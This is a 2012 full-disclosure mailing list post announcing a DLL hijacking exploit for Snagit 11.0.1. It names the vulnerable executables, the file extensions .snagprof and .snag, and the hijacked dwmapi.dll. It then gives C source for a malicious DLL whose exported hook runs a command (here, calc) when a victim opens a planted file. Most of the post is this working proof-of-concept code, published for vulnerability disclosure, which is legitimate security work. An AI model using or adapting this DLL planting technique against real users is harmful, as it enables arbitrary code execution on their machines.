full-disclosure - Snagit 11.0.1 (dwmapi.dll) DLL Hijacking Exploit

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Message-ID: <CADe7mMfJYLMaHN-5fgZf=2acrHYoa=F+ZxXtrXq5MUftcOieTQ@mail.gmail.com>
Date: Thu, 23 Aug 2012 04:22:04 -0700
From: kaveh ghaemmaghami <kavehghaemmaghami@...glemail.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Snagit 11.0.1 (dwmapi.dll) DLL Hijacking Exploit

Exploit Title: Snagit 11.0.1 (dwmapi.dll) DLL Hijacking Exploit
Date: 2012-08-23
Author: coolkaveh
coolkaveh@...ketmail.com
Greets To Mohammad Morteza Sanaie
sanaie.morteza@...il.com
Https://twitter.com/coolkaveh
Vendor Homepage: http://www.techsmith.com/
Version: 11.0.1(build93)
Tested on: windows XP Sp3 ENG
---------------------------------------------------------
# Vulnerable: Pixel Bender snagit32.exe & snagiteditor.exe
---------------------------------------------------------
# Vulnerable extensions: .snagprof & .snag
---------------------------------------------------------
# Vulnerable Dll: dwmapi.dll
---------------------------------------------------------
#include <windows.h>
#define DllExport __declspec (dllexport)

DllExport void hook_startup() { exp(); }

int exp()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

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